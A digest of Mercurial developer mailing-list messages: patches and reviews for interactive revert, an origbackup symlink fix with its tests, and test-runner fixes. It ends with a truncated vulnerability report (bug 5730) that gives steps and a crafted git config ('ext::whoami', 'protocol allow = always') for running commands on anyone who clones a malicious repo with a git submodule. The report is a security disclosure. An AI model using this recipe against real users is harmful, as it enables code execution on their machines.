>   '$$ , discard this change'
>   '$$ , skip this change'
> @@ -1027,16 +1037,6 @@ def getmessages():
>  '$$ Record  changes to all remaining files'
>  '$$ , recording no changes'
>  '$$ &? (display help)'),
> -'revert': _('[Ynesfdaq?]'
> -'$$ , revert this change'
> -'$$ , skip this change'
> -'$$  this change manually'
> -'$$  remaining changes to this file'
> -'$$ Revert remaining changes to this '
> -'$$ , skip remaining changes and files'
> -'$$ Revert  changes to all remaining files'
> -'$$ , reverting no changes'
> -'$$ &? (display help)')
>  }
>  }
>
> diff --git 

[PATCH] revert: do not reverse hunks in interactive when REV is not parent (issue5096)

[Denis Laxalde]

# HG changeset patch
# User Denis Laxalde 
# Date 1509716857 -3600
#  Fri Nov 03 14:47:37 2017 +0100
# Node ID 095ef7f12cb36330d5e2b35b6c93fe27f6c1aacc
# Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
# Available At http://hg.logilab.org/users/dlaxalde/hg
#  hg pull http://hg.logilab.org/users/dlaxalde/hg -r 095ef7f12cb3
# EXP-Topic revert-interactive
revert: do not reverse hunks in interactive when REV is not parent (issue5096)

And introduce a new "apply" operation verb for this case as suggested in
issue5096. This replaces the no longer used "revert" operation.

In interactive revert, when reverting to something else that the parent
revision, display an "apply this change" message with a diff that is not
reversed.

The rationale is that `hg revert -i -r REV` will show hunks of the diff from
the working directory to REV and prompt the user to select them for applying
(to working directory). This contradicts dcc56e10c23b in which it was
decided to have the "direction" of prompted hunks reversed. Later on
[1], there was a broad consensus (but no decision) towards the "as to
be applied direction". Now that --interactive is no longer experimental
(5910db5d1913), it's time to switch and thus we drop no longer used
"experimental.revertalternateinteractivemode" configuration option.

[1]: 
https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/090142.html

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3790,9 +3790,8 @@ def _performrevert(repo, parents, ctx, a
 operation = 'discard'
 reversehunks = True
 if node != parent:
-operation = 'revert'
-reversehunks = repo.ui.configbool('experimental',
-'revertalternateinteractivemode')
+operation = 'apply'
+reversehunks = False
 if reversehunks:
 diff = patch.diff(repo, ctx.node(), None, m, opts=diffopts)
 else:
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -439,9 +439,6 @@ coreconfigitem('experimental', 'obsmarke
 coreconfigitem('experimental', 'rebase.multidest',
 default=False,
 )
-coreconfigitem('experimental', 'revertalternateinteractivemode',
-default=True,
-)
 coreconfigitem('experimental', 'revlogv2',
 default=None,
 )
diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -997,16 +997,26 @@ class recordhunk(object):
 def getmessages():
 return {
 'multiple': {
+'apply': _("apply change %d/%d to '%s'?"),
 'discard': _("discard change %d/%d to '%s'?"),
 'record': _("record change %d/%d to '%s'?"),
-'revert': _("revert change %d/%d to '%s'?"),
 },
 'single': {
+'apply': _("apply this change to '%s'?"),
 'discard': _("discard this change to '%s'?"),
 'record': _("record this change to '%s'?"),
-'revert': _("revert this change to '%s'?"),
 },
 'help': {
+'apply': _('[Ynesfdaq?]'
+ '$$ , apply this change'
+ '$$ , skip this change'
+ '$$  this change manually'
+ '$$  remaining changes to this file'
+ '$$ Apply remaining changes to this '
+ '$$ , skip remaining changes and files'
+ '$$ Apply  changes to all remaining files'
+ '$$ , applying no changes'
+ '$$ &? (display help)'),
 'discard': _('[Ynesfdaq?]'
  '$$ , discard this change'
  '$$ , skip this change'
@@ -1027,16 +1037,6 @@ def getmessages():
 '$$ Record  changes to all remaining files'
 '$$ , recording no changes'
 '$$ &? (display help)'),
-'revert': _('[Ynesfdaq?]'
-'$$ , revert this change'
-'$$ , skip this change'
-'$$  this change manually'
-'$$  remaining changes to this file'
-'$$ Revert remaining changes to this '
-'$$ , skip remaining changes and files'
-'$$ Revert  changes to all remaining files'
-'$$ , reverting no changes'
-'$$ &? (display help)')
 }
 }
 
diff --git a/tests/test-revert-interactive.t b/tests/test-revert-interactive.t
--- a/tests/test-revert-interactive.t
+++ b/tests/test-revert-interactive.t
@@ -60,56 +60,56 @@ 10 run the same test than 8 from within 
   2 hunks, 2 lines changed
   examine changes to 'f'? [Ynesfdaq?] y
   
-  @@ -1,5 +1,6 @@
-  +a
+  @@ -1,6 +1,5 @@
+  

D1311: scmutil: don't try to delete origbackup symlinks to directories (issue5731)

[mbthomas (Mark Thomas)]

mbthomas updated this revision to Diff 3265.

REPOSITORY
  rHG Mercurial

CHANGES SINCE LAST UPDATE
  https://phab.mercurial-scm.org/D1311?vs=3263=3265

REVISION DETAIL
  https://phab.mercurial-scm.org/D1311

AFFECTED FILES
  mercurial/scmutil.py
  tests/test-origbackup-conflict.t

CHANGE DETAILS

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -110,18 +110,12 @@
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
   getting d
-  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/d (glob)
-  abort: None
-  [255]
-
-Workaround issue by deleting d:
-
-  $ rm d
-  $ hg up c1
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ cat .hg/origbackups/b/c
   c4
+  $ cat .hg/origbackups/d
+  d3
   $ ls ../sym-link-target
 
 Incorrectly configure origbackuppath to be under a file
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -610,7 +610,7 @@
 
 origvfs.makedirs(origbackupdir)
 
-if origvfs.isdir(filepathfromroot):
+if origvfs.isdir(filepathfromroot) and not 
origvfs.islink(filepathfromroot):
 ui.note(_('removing conflicting directory: %s\n')
 % origvfs.join(filepathfromroot))
 origvfs.rmtree(filepathfromroot, forcibly=True)



To: mbthomas, #hg-reviewers
Cc: mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

D1310: tests: add a test demonstrating issue5731

[mbthomas (Mark Thomas)]

mbthomas updated this revision to Diff 3264.

REPOSITORY
  rHG Mercurial

CHANGES SINCE LAST UPDATE
  https://phab.mercurial-scm.org/D1310?vs=3262=3264

REVISION DETAIL
  https://phab.mercurial-scm.org/D1310

AFFECTED FILES
  tests/test-origbackup-conflict.t

CHANGE DETAILS

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -12,11 +12,12 @@
   $ hg add base
   $ hg commit -m "base"
 
-Make a dir named b that contains a file
+Make a dir named b that contains a file, and a file named d
 
   $ mkdir -p b
   $ echo c1 > b/c
-  $ hg add b/c
+  $ echo d1 > d
+  $ hg add b/c d
   $ hg commit -m "c1"
   $ hg bookmark c1
 
@@ -30,15 +31,17 @@
   b/c: replacing untracked file
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -f .hg/origbackups/b/c
 
-Make a file named b
+Make files named b and d
 
   $ hg up -q 0
   $ echo b1 > b
-  $ hg add b
+  $ echo d2 > d
+  $ hg add b d
   $ hg commit -m b1
   created new head
   $ hg bookmark b1
@@ -52,7 +55,8 @@
   b: replacing untracked file
   getting b
   removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
   $ test -f .hg/origbackups/b
 
@@ -67,40 +71,54 @@
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -d .hg/origbackups/b
 
-Cause a symlink to be backed up that points to a valid location from the 
backup dir
+Cause two symlinks to be backed up that points to a valid location from the 
backup dir
 
   $ hg up -q 0
   $ mkdir ../sym-link-target
 #if symlink
   $ ln -s ../../../sym-link-target b
+  $ ln -s ../../../sym-link-target d
 #else
-  $ touch b
+  $ touch b d
 #endif
   $ hg up b1
   b: replacing untracked file
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  d: replacing untracked file
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
 #if symlink
   $ readlink.py .hg/origbackups/b
   .hg/origbackups/b -> ../../../sym-link-target
 #endif
 
-Perform an update that causes b/c to be backed up again - it should not go 
into the target dir
+Perform an update that causes b/c and d to be backed up again - b/c should not 
go into the target dir
 
   $ hg up -q 0
   $ mkdir b
   $ echo c4 > b/c
+  $ echo d3 > d
   $ hg up --verbose c1
   resolving manifests
   b/c: replacing untracked file
+  d: replacing untracked file
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/d (glob)
+  abort: None
+  [255]
+
+Workaround issue by deleting d:
+
+  $ rm d
+  $ hg up c1
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ cat .hg/origbackups/b/c
   c4



To: mbthomas, #hg-reviewers
Cc: mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

D1311: scmutil: don't try to delete origbackup symlinks to directories (issue5731)

[mbthomas (Mark Thomas)]

mbthomas created this revision.
Herald added a subscriber: mercurial-devel.
Herald added a reviewer: hg-reviewers.

REVISION SUMMARY
  When origbackuppath is set, when looking to see if a file we are backing up
  conflicts with a directory in the origbackuppath, we incorrectly match on
  symlinks to directories.  This means we try to call vfs.rmtree on the
  symlink, which fails.

REPOSITORY
  rHG Mercurial

REVISION DETAIL
  https://phab.mercurial-scm.org/D1311

AFFECTED FILES
  mercurial/scmutil.py
  tests/test-origbackup-conflict.t

CHANGE DETAILS

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -110,18 +110,12 @@
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
   getting d
-  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/d (glob)
-  abort: None
-  [255]
-
-Workaround issue by deleting d:
-
-  $ rm d
-  $ hg up c1
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ cat .hg/origbackups/b/c
   c4
+  $ cat .hg/origbackups/d
+  d3
   $ ls ../sym-link-target
 
 Incorrectly configure origbackuppath to be under a file
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -610,7 +610,7 @@
 
 origvfs.makedirs(origbackupdir)
 
-if origvfs.isdir(filepathfromroot):
+if origvfs.isdir(filepathfromroot) and not 
origvfs.islink(filepathfromroot):
 ui.note(_('removing conflicting directory: %s\n')
 % origvfs.join(filepathfromroot))
 origvfs.rmtree(filepathfromroot, forcibly=True)



To: mbthomas, #hg-reviewers
Cc: mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

D1310: tests: add a test demonstrating issue5731

[mbthomas (Mark Thomas)]

mbthomas created this revision.
Herald added a subscriber: mercurial-devel.
Herald added a reviewer: hg-reviewers.

REVISION SUMMARY
  If origbackups are in use, a symlink to a valid directory is backed up, and an
  update is made that attempts to backup a file or link over that symlink, we
  abort with a bad error message instead of successfully updating.

REPOSITORY
  rHG Mercurial

REVISION DETAIL
  https://phab.mercurial-scm.org/D1310

AFFECTED FILES
  tests/test-origbackup-conflict.t

CHANGE DETAILS

diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
--- a/tests/test-origbackup-conflict.t
+++ b/tests/test-origbackup-conflict.t
@@ -12,11 +12,12 @@
   $ hg add base
   $ hg commit -m "base"
 
-Make a dir named b that contains a file
+Make a dir named b that contains a file, and a file named d
 
   $ mkdir -p b
   $ echo c1 > b/c
-  $ hg add b/c
+  $ echo d1 > d
+  $ hg add b/c d
   $ hg commit -m "c1"
   $ hg bookmark c1
 
@@ -30,15 +31,17 @@
   b/c: replacing untracked file
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -f .hg/origbackups/b/c
 
-Make a file named b
+Make files named b and d
 
   $ hg up -q 0
   $ echo b1 > b
-  $ hg add b
+  $ echo d2 > d
+  $ hg add b d
   $ hg commit -m b1
   created new head
   $ hg bookmark b1
@@ -52,7 +55,8 @@
   b: replacing untracked file
   getting b
   removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
   $ test -f .hg/origbackups/b
 
@@ -67,40 +71,54 @@
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ test -d .hg/origbackups/b
 
-Cause a symlink to be backed up that points to a valid location from the 
backup dir
+Cause two symlinks to be backed up that points to a valid location from the 
backup dir
 
   $ hg up -q 0
   $ mkdir ../sym-link-target
 #if symlink
   $ ln -s ../../../sym-link-target b
+  $ ln -s ../../../sym-link-target d
 #else
-  $ touch b
+  $ touch b d
 #endif
   $ hg up b1
   b: replacing untracked file
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  d: replacing untracked file
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark b1)
 #if symlink
   $ readlink.py .hg/origbackups/b
   .hg/origbackups/b -> ../../../sym-link-target
 #endif
 
-Perform an update that causes b/c to be backed up again - it should not go 
into the target dir
+Perform an update that causes b/c and c to be backed up again - b/c should not 
go into the target dir
 
   $ hg up -q 0
   $ mkdir b
   $ echo c4 > b/c
+  $ echo d3 > d
   $ hg up --verbose c1
   resolving manifests
   b/c: replacing untracked file
+  d: replacing untracked file
   getting b/c
   creating directory: $TESTTMP/repo/.hg/origbackups/b (glob)
   removing conflicting file: $TESTTMP/repo/.hg/origbackups/b (glob)
-  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  getting d
+  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/d (glob)
+  abort: None
+  [255]
+
+Workaround issue by deleting d:
+
+  $ rm d
+  $ hg up c1
+  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark c1)
   $ cat .hg/origbackups/b/c
   c4



To: mbthomas, #hg-reviewers
Cc: mercurial-devel
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[Bug 5731] New: origbackuppath backups for files over symlink-to-directory fails

[mercurial-bugs]

https://bz.mercurial-scm.org/show_bug.cgi?id=5731

Bug ID: 5731
   Summary: origbackuppath backups for files over
symlink-to-directory fails
   Product: Mercurial
   Version: 4.4
  Hardware: All
OS: All
Status: UNCONFIRMED
  Severity: bug
  Priority: wish
 Component: Mercurial
  Assignee: bugzi...@mercurial-scm.org
  Reporter: mbtho...@fb.com
CC: mercurial-devel@mercurial-scm.org

I recently updated scmutil.origpath, so that when ui.origbackuppath is
configured,  we better handle the cases of path conflicts (file replaced with
directories and vice-versa).  I missed one of the cases: where the old backup
is a symlink to a directory that exists, and the new backup is a file or
symlink.

This is because vfs.isdir() follows symlinks, so we try to call vfs.rmtree on
the symlink, which fails.

I have a test and fix coming.

-- 
You are receiving this mail because:
You are on the CC list for the bug.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

mercurial@34966: 2 new changesets (1 on stable)

[Mercurial Commits]

2 new changesets (1 on stable) in mercurial:

https://www.mercurial-scm.org/repo/hg/rev/f445b10dc7fb
changeset:   34965:f445b10dc7fb
branch:  stable
parent:  34955:95f54cec0025
user:Matt Harbison 
date:Thu Nov 02 20:35:31 2017 -0400
summary: pathutil: use util.pathto() to calculate relative cwd in 
canonpath()

https://www.mercurial-scm.org/repo/hg/rev/d8c2db6167b3
changeset:   34966:d8c2db6167b3
bookmark:@
tag: tip
parent:  34964:7ebf850d3166
user:Matthieu Laneuville 
date:Fri Nov 03 21:14:57 2017 +0900
summary: run-tests: endswith takes bytes as argument in python3, not str

-- 
Repository URL: https://www.mercurial-scm.org/repo/hg
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: test-convert-bzr-directories.t fails

[Kevin Bullock]

> On Nov 2, 2017, at 23:30, timeless <timel...@gmail.com> wrote:
> 
> Mercurial Distributed SCM (version 4.4+11-7ebf850d3166+20171103)
> Bazaar 2.5.1 -- a free distributed version-control tool

I've seen the same failure on gcc112, which also has bzr 2.5.1. The Linux 
buildworker has bzr 2.7.0dev1, and tests pass there.

Could I convince you to file this on https://bz.mercurial-scm.org/ so we can 
track it?

pacem in terris / мир / शान्ति / ‎‫سَلاَم‬ / 平和
Kevin R. Bullock

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH v2] run-tests: $TESTDIR can be something else than $PWD

[Kevin Bullock]

> On Nov 3, 2017, at 10:27, Kevin Bullock  
> wrote:
> 
>> On Nov 3, 2017, at 02:40, matthieu.laneuvi...@octobus.net wrote:
>> 
>> # HG changeset patch
>> # User Matthieu Laneuville 
>> # Date 1501648065 -32400
>> #  Wed Aug 02 13:27:45 2017 +0900
>> # Node ID 753f33aed3c6b3fc4d02f5235b1468450ee41fab
>> # Parent  a7e49a5b3e6f38338660c0d98f9c593f70064e95
>> run-tests: $TESTDIR can be something else than $PWD
> 
> This was already queued and landed as a18eef03d879. If there were changes in 
> V2 could you send a follow-up?

I see now, the follow-up was:
run-tests: endswith takes bytes as argument in python3, not str

pacem in terris / мир / शान्ति / ‎‫سَلاَم‬ / 平和
Kevin R. Bullock

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH STABLE] pathutil: use util.pathto() to calculate relative cwd in canonpath()

[Kevin Bullock]

> On Nov 2, 2017, at 20:16, Matt Harbison  wrote:
> 
> # HG changeset patch
> # User Matt Harbison 
> # Date 1509669331 14400
> #  Thu Nov 02 20:35:31 2017 -0400
> # Branch stable
> # Node ID 7d799a9800793cb5f1c10ce7269c31e1c7b1285a
> # Parent  95f54cec00258ffa4caa8df38e4ecb265aa7a0a3
> pathutil: use util.pathto() to calculate relative cwd in canonpath()

Could you follow up with a test case for this?

pacem in terris / мир / शान्ति / ‎‫سَلاَم‬ / 平和
Kevin R. Bullock

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH v2] run-tests: $TESTDIR can be something else than $PWD

[Kevin Bullock]

> On Nov 3, 2017, at 02:40, matthieu.laneuvi...@octobus.net wrote:
> 
> # HG changeset patch
> # User Matthieu Laneuville 
> # Date 1501648065 -32400
> #  Wed Aug 02 13:27:45 2017 +0900
> # Node ID 753f33aed3c6b3fc4d02f5235b1468450ee41fab
> # Parent  a7e49a5b3e6f38338660c0d98f9c593f70064e95
> run-tests: $TESTDIR can be something else than $PWD

This was already queued and landed as a18eef03d879. If there were changes in V2 
could you send a follow-up?

pacem in terris / мир / शान्ति / ‎‫سَلاَم‬ / 平和
Kevin R. Bullock

___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH RFC] revert: no longer mark --interactive as experimental

[Martin von Zweigbergk via Mercurial-devel]

Yes, please! I'd be very much in favor of that. (Sorry, I misunderstood
what the patch was about when I looked last time.)

On Fri, Nov 3, 2017, 06:57 Denis Laxalde  wrote:

> Martin von Zweigbergk a écrit :
> > On Thu, Nov 2, 2017 at 7:16 AM, Denis Laxalde  wrote:
> >
> >> Augie Fackler a écrit :
> >>
> >>>
> >>> On Nov 2, 2017, at 09:39, Martin von Zweigbergk via Mercurial-devel <
>  mercurial-devel@mercurial-scm.org> wrote:
> 
>  Can we still change the behavior of "hg revert -i -r" to show a
> to-apply
>  diff, not a to-revert diff? (There's a bug number I'm too lazy to
> look up
>  from mobile.)
> 
> >>>
> >>> I thought we had already done the patch-reversing that we felt was
> >>> required...
> >>>
> >>
> >> The last discussion ended with a status quo:
> >>
> >>
> https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/090142.html
> >>
> >> Since then, I set "experimental.revertalternateinteractivemode=false" to
> >> have a behavior that I find meaningful in most situations.
> >
> >
> > So do I. The problem is that new users won't have that. If we're
> graduating
> > --interactive now, then this seems like a good time (at the latest) to
> > switch the default of that flag.
> >
> >
> >> The only case
> >> it does not work well is "hg revert -i -r .^" (which I think was a major
> >> motivation for the current behavior).
> >
> >
> > I prefer the forward direction even when reverting to a parent. We could
> > add --no-forward-patch flag or something, or we could add a "hg grab"
> that
> > grabs the file content from a revision and is equivalent to "hg revert"
> > except that the patch is always forward. But last time I suggested that,
> no
> > one seemed interested, so I'm not very optimistic. So probably just
> switch
> > the default of revertalternateinteractivemode to false?
>
> I can resurrect the patch above linked above which drops the option and
> use the "apply" verb instead of "revert". Just let me know.
>
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH] run-tests: endswith takes bytes as argument in python3, not str

[Yuya Nishihara]

On Fri, 03 Nov 2017 21:19:40 +0900, matthieu.laneuvi...@octobus.net wrote:
> # HG changeset patch
> # User Matthieu Laneuville 
> # Date 1509711297 -32400
> #  Fri Nov 03 21:14:57 2017 +0900
> # Node ID 25d1eb7275ba4b95fbb4240672a3ad6578ab5b87
> # Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
> run-tests: endswith takes bytes as argument in python3, not str

Queued, thanks.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

Re: [PATCH RFC] revert: no longer mark --interactive as experimental

[Denis Laxalde]

Martin von Zweigbergk a écrit :

On Thu, Nov 2, 2017 at 7:16 AM, Denis Laxalde  wrote:


Augie Fackler a écrit :



On Nov 2, 2017, at 09:39, Martin von Zweigbergk via Mercurial-devel <

mercurial-devel@mercurial-scm.org> wrote:

Can we still change the behavior of "hg revert -i -r" to show a to-apply
diff, not a to-revert diff? (There's a bug number I'm too lazy to look up
from mobile.)



I thought we had already done the patch-reversing that we felt was
required...



The last discussion ended with a status quo:

https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/090142.html

Since then, I set "experimental.revertalternateinteractivemode=false" to
have a behavior that I find meaningful in most situations.



So do I. The problem is that new users won't have that. If we're graduating
--interactive now, then this seems like a good time (at the latest) to
switch the default of that flag.



The only case
it does not work well is "hg revert -i -r .^" (which I think was a major
motivation for the current behavior).



I prefer the forward direction even when reverting to a parent. We could
add --no-forward-patch flag or something, or we could add a "hg grab" that
grabs the file content from a revision and is equivalent to "hg revert"
except that the patch is always forward. But last time I suggested that, no
one seemed interested, so I'm not very optimistic. So probably just switch
the default of revertalternateinteractivemode to false?


I can resurrect the patch above linked above which drops the option and
use the "apply" verb instead of "revert". Just let me know.
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH] run-tests: endswith takes bytes as argument in python3, not str

[matthieu . laneuville]

# HG changeset patch
# User Matthieu Laneuville 
# Date 1509711297 -32400
#  Fri Nov 03 21:14:57 2017 +0900
# Node ID 25d1eb7275ba4b95fbb4240672a3ad6578ab5b87
# Parent  7ebf850d3166a64ff33b4b85adb481b533ddbf86
run-tests: endswith takes bytes as argument in python3, not str

diff -r 7ebf850d3166 -r 25d1eb7275ba tests/run-tests.py
--- a/tests/run-tests.pySat Oct 21 16:50:57 2017 +0900
+++ b/tests/run-tests.pyFri Nov 03 21:14:57 2017 +0900
@@ -2356,8 +2356,8 @@ class TestRunner(object):
 # assume all tests in same folder for now
 if testdescs:
 pathname = os.path.dirname(testdescs[0]['path'])
-if pathname and not osenvironb[b'TESTDIR'].endswith('/'):
-osenvironb[b'TESTDIR'] += '/'
+if pathname and not osenvironb[b'TESTDIR'].endswith(b'/'):
+osenvironb[b'TESTDIR'] += b'/'
 osenvironb[b'TESTDIR'] += pathname
 if self.options.outputdir:
 self._outputdir = canonpath(_bytespath(self.options.outputdir))
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[PATCH v2] run-tests: $TESTDIR can be something else than $PWD

[matthieu . laneuville]

# HG changeset patch
# User Matthieu Laneuville 
# Date 1501648065 -32400
#  Wed Aug 02 13:27:45 2017 +0900
# Node ID 753f33aed3c6b3fc4d02f5235b1468450ee41fab
# Parent  a7e49a5b3e6f38338660c0d98f9c593f70064e95
run-tests: $TESTDIR can be something else than $PWD

$TESTDIR is expected to be the directory were the test lives, and is often used
to reference helper functions. However, it is now set to $PWD at test invocation
time, so if `run-tests.py` is called from another folder, the test will fail.

The solution is to force $TESTDIR to be the base directory of the test itself,
irrespective of where the runner is called from.

diff -r a7e49a5b3e6f -r 753f33aed3c6 tests/run-tests.py
--- a/tests/run-tests.pyWed Nov 01 17:08:33 2017 +0100
+++ b/tests/run-tests.pyWed Aug 02 13:27:45 2017 +0900
@@ -2353,6 +2353,12 @@ class TestRunner(object):
 
 self._testdir = osenvironb[b'TESTDIR'] = getattr(
 os, 'getcwdb', os.getcwd)()
+# assume all tests in same folder for now
+if testdescs:
+pathname = os.path.dirname(testdescs[0]['path'])
+if pathname and not osenvironb[b'TESTDIR'].endswith(b'/'):
+osenvironb[b'TESTDIR'] += b'/'
+osenvironb[b'TESTDIR'] += pathname
 if self.options.outputdir:
 self._outputdir = canonpath(_bytespath(self.options.outputdir))
 else:
diff -r a7e49a5b3e6f -r 753f33aed3c6 tests/test-run-tests.t
--- a/tests/test-run-tests.tWed Nov 01 17:08:33 2017 +0100
+++ b/tests/test-run-tests.tWed Aug 02 13:27:45 2017 +0900
@@ -1261,6 +1261,22 @@ support for running a test outside the c
   .
   # Ran 1 tests, 0 skipped, 0 failed.
 
+support for running run-tests.py from another directory
+  $ mkdir tmp && cd tmp
+  $ cat > useful-file.sh << EOF
+  > important command
+  > EOF
+
+  $ cat > test-folder.t << EOF
+  >   $ cat \$TESTDIR/useful-file.sh
+  >   important command
+  > EOF
+
+  $ cd ..
+  $ $PYTHON $TESTDIR/run-tests.py tmp/test-folder.t
+  .
+  # Ran 1 tests, 0 skipped, 0 failed.
+
 support for bisecting failed tests automatically
   $ hg init bisect
   $ cd bisect
___
Mercurial-devel mailing list
Mercurial-devel@mercurial-scm.org
https://www.mercurial-scm.org/mailman/listinfo/mercurial-devel

[Bug 5730] New: [CRITICAL]Arbitrary command execution in mercurial repo with a git submodule

[mercurial-bugs]

https://bz.mercurial-scm.org/show_bug.cgi?id=5730

Bug ID: 5730
   Summary: [CRITICAL]Arbitrary command execution in mercurial
repo with a git submodule
   Product: Mercurial
   Version: stable branch
  Hardware: All
OS: All
Status: UNCONFIRMED
  Severity: bug
  Priority: wish
 Component: Mercurial
  Assignee: bugzi...@mercurial-scm.org
  Reporter: pni...@live.com
CC: mercurial-devel@mercurial-scm.org

I found that using hg to track a crafted mercurial repo with a git submodule
can lead to command execution on user's OS.

The root cause is that hg support to add a git submodule to a hg repo.And so
that i can use hg to track .git directory and thus modify the git config file
from the remote.I use ext helper protocol as a poc.I can modify the git config
file to allow ext helper protocol which has been disallowed in the lastest
version of git and then when victim do anything on the evil git submodule,ext
protocol will be triggered and execute the os command.

Here is the reproduction steps:
1.Create a hg repo;
2.Create a git repo and make a commit to it.(The commit is a must.)
3.Now let us use hg to make a crafted hg repo first.
4.Using hg to checkout the hg repo and then add that git repo as it's
submodule.
5.Modify the ./hgrepo/gitsubmodule/.git/config to sth like:

[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
[remote "pwn2own"]
url = ext::whoami
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
[protocol]
allow = always
I modify two parts,change the remote url to "ext::whoami" and add a protocol
section to allow ext protocol to be used.

Then commit all above changes and push to the remote.

When other victim using hg command to clone that crafted repo and
